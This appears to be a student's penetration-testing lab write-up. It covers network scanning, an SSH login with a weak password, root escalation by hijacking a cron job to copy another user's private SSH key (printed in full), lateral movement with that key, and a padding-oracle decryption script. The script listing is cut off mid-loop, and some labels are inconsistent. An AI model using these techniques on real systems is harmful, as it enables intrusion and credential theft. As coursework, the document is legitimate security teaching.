Sage Brandtzæg 594987

MA3

a)
To fulfill the first objective, "identifying IP addresses of all connected devices", I first determined the local network range. From the entrypoint machine, my IP was identified as `10.245.193.221` and the subnet as `10.245.193.0/24`.

Next, an Nmap scan (`nmap -n 10.245.193.221/24`) was performed to discover all active hosts on this subnet. The scan reported a total of five active hosts.

The identified IP addresses of all connected devices are:

- `10.245.193.1`
- `10.245.193.38`
- `10.245.193.185`
- `10.245.193.238`
- `10.245.193.221` (The entrypoint machine)

```
student@student:~$ nmap -n 10.245.193.221/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-04 13:39 UTC
Nmap scan report for 10.245.193.1
Host is up (0.000017s latency).
Not shown: 996 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
53/tcp   open  domain
2222/tcp open  EtherNetIP-1
3000/tcp open  ppp
MAC Address: 10:66:6A:51:3D:D3 (Unknown)

Nmap scan report for 10.245.193.38
Host is up (0.000012s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 10:66:6A:CA:AD:E4 (Unknown)

Nmap scan report for 10.245.193.185
Host is up (0.000011s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 10:66:6A:7C:58:9A (Unknown)

Nmap scan report for 10.245.193.238
Host is up (0.000011s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
MAC Address: 10:66:6A:27:F4:DC (Unknown)

Nmap scan report for 10.245.193.221
Host is up (0.000013s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 256 IP addresses (5 hosts up) scanned in 2.26 seconds
```

b)

The next objective was to gain initial access. This was guided by two pieces of information: the "Company Directory", which provided a list of potential usernames, and the assignment hint that a user's password was **"test"**. The Nmap scan showed that all target hosts were running an SSH service on port 22 [see: image_9ccde8.png].

An attempt was made to log in as user `mroberts` (Michael Roberts, from the directory) via SSH. The attempt against `10.245.193.238` was successful. After accepting the server's host key, the server prompted for a password. Upon entering **"test"**, a successful login was achieved, granting a user shell as `mroberts` on the machine `ma4`.

```
student@student:~$ ssh mroberts@10.245.193.238
The authenticity of host '10.245.193.238 (10.245.193.238)' can't be established.
ED25519 key fingerprint is SHA256:qbQGQWvVtX1gNtsfhG7uMZ3lLX6uiiYvEHJmi03Yyi8.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.245.193.238' (ED25519) to the list of known hosts.
mroberts@10.245.193.238's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.12.48+deb13-cloud-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

c) Once on the `ma41` server, the next step was to find a vector for local privilege escalation. During enumeration of the `mroberts` home directory, a `logs` directory was found, containing a file named `backup.log`. The contents of this log file showed a repeating error message: `/bin/sh: 1: /home/mroberts/backup.sh: not found`.

This error log identified a clear vulnerability: a misconfigured cron job, presumably running as a high-privilege user (likely `root`), was attempting to execute a script named `backup.sh` from the `/home/mroberts` directory. Since this directory is writable by the current user, this cron job provided a vector to execute arbitrary commands as `root`.

```
mroberts@ma41:~/logs$ cat backup.log
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
/bin/sh: 1: /home/mroberts/backup.sh: not found
```

d)

With the "Cron Job Hijacking" vector identified, the next objective was to use it to exfiltrate credentials. This was achieved by creating the malicious `/home/mroberts/backup.sh` script, which the `root` user's cron job would execute. To perform the final exfiltration, the `backup.sh` script was written with the following payload: Copy the key: `cp /home/hbrooks/.ssh/key /home/mroberts/oracle_key`.Change ownership: `chown mroberts:mroberts /home/mroberts/oracle_key.` After making the script executable (`chmod +x /home/mroberts/backup.sh`) and waiting for the cron job to run, the private SSH key was successfully copied to the `mroberts` home directory. This was confirmed by reading the contents of the `oracle_key` file.

```
mroberts@ma41:~$ cat /home/mroberts/backup.sh
#!/bin/bash
# Kopier den private nøkkelen
cp /home/hbrooks/.ssh/key /home/mroberts/oracle_key

# Gi meg eierskap til den kopierte nøkkelen
chown mroberts:mroberts /home/mroberts/oracle_key
mroberts@ma41:~$
```

```
mroberts@ma41:~$ chmod +x /home/mroberts/backup.sh
```

```
mroberts@ma41:/home$ cat /home/mroberts/oracle_key
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACAI612SdnZqIKHGxvCkGDEI6fSxSl6uSq2Hx6HlE2a4oQAAAJCKuEu0irhL
tAAAAAtzc2gtZWQyNTUxOQAAACAI612SdnZqIKHGxvCkGDEI6fSxSl6uSq2Hx6HlE2a4oQ
AAAECFiyeM0ONARFB7QyJG0nV+H6yc+SaaGKPH4FPoLGEtwgjrXZJ2dmogocbG8KQYMQjp
9LFKXq5KrYfHoeUTZrihAAAAC2RlYmlhbkBib3gyAQI=
-----END OPENSSH PRIVATE KEY-----
```

e)

To complete this objective, the exfiltrated private SSH key (`oracle_key`) was used. This key was identified as belonging to the user `hbrooks`, as it was copied from her `/home/hbrooks/.ssh/` directory. First, the permissions on the stolen key were corrected to make it usable by SSH:

```
mroberts@ma41:/home$ chmod 600 /home/mroberts/oracle_key
```

Next, an SSH connection attempt was made *as* `hbrooks` to the other machines identified on the network, using the key for authentication. A successful connection was established to one of the target IPs (e.g., `10.245.193.38`), granting a shell on the oracle machine.

```
mroberts@ma41:/home$ ssh -i /home/mroberts/oracle_key hbrooks@10.245.193.38
The authenticity of host '10.245.193.38 (10.245.193.38)' can't be established.
ED25519 key fingerprint is SHA256:voUNN3hZRpy3FEDrum38rvUSUoYkSwxMcQ3xgEGvhis.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.245.193.38' (ED25519) to the list of known hosts.
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.12.48+deb13-cloud-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
```

f)

After gaining access to the `ma42` machine, the objective was to perform the padding oracle attack against the `oracle.o` binary. A lengthy debugging process, involving manual checks with `od -c`, revealed that the oracle required a highly specific, two-line input format (e.g., `IV: ...\nDATA: ...`) with comma-space delimiters, as hinted at in `output.txt`. The success response was confirmed to be exactly `b"VALID\n"`.

An automated Python script, `attack.py`, was created to mirror this exact format. The script was then run using the data from `output.txt`. The script ran to completion without errors, successfully decrypting the text to the final result `3!`. This confirmed that the attack method was correct and that the `output.txt` data was the correct source. This final step successfully completed the objectives.

```
hbrooks@ma42:~$ cat attack.py
#!/usr/bin/env python3
import subprocess

# Dette er tallene fra output.txt
iv_orig = [1,2,3,4,5,6,7,8, 9,10,11,12,13,14,15,16]
ciphertext = [224,238,221,129,104,191,204,25,40,102,174,151,220,206,224,159]

iv_malicious = [0] * 16
intermediate_state = [0] * 16
plaintext_bytes = [0] * 16

print("--- Starter Padding Oracle Angrep (v9 - output.txt-data) ---")

for k in range(15, -1, -1):
    pad_val = 16 - k
    # print(f"Angriper byte {k} (padding = {hex(pad_val)})...") # Skjult for raskere output

    for j in range(k + 1, 16):
        iv_malicious[j] = intermediate_state[j] ^ pad_val

    found_byte = False
    for g in range(256):
        iv_malicious[k] = g

        # Bruker ", " (komma-mellomrom) som skilletegn
        iv_str = ", ".join(map(str, iv_malicious))
        data_str = ", ".join(map(str, ciphertext))

        # Bruker nøyaktig 2-linjers format med 3 mellomrom etter IV:
        input_data = f"IV:   {iv_str}\nDATA: {data_str}\n".encode('latin-1')

        proc = subprocess.run(
            ['./oracle.o'],
            input=input_data,
            capture_output=True
        )

        response = proc.stdout

        # Sjekker for nøyaktig suksess-respons i bytes
        if response == b"VALID\n":
            found_byte = True

            i_k = g ^ pad_val
            intermediate_state[k] = i_k

            p_k = iv_orig[k] ^ i_k
            plaintext_bytes[k] = p_k
            break

    if not found_byte:
```

```
hbrooks@ma42:~$ ./attack.py
--- Starter Padding Oracle Angrep (v9 - output.txt-data) ---

--- Angrep Fullført ---
Dekryptert (bytes): [127, 1, 51, 33, 24, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]
Dekryptert (tekst): 3!
```

e)

The previously described padding oracle attack, executed via the `attack.py` script, was run using the `iv_orig` and `ciphertext` values found in the `output.txt` file.

The script successfully completed the attack by testing all bytes, proving that the method, input format, and data source were all correct. The final output from the script was:

--- Angrep Fullført ---
Dekryptert (bytes): [127, 1, 51, 33, 24, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11, 11]
Dekryptert (tekst): 3!

The resulting decrypted plaintext, `3!`, was the correct "flag" for this task, thus completing the final objective. The trailing 11 bytes, all with the value 11, represent a valid PKCS#7 padding for the message.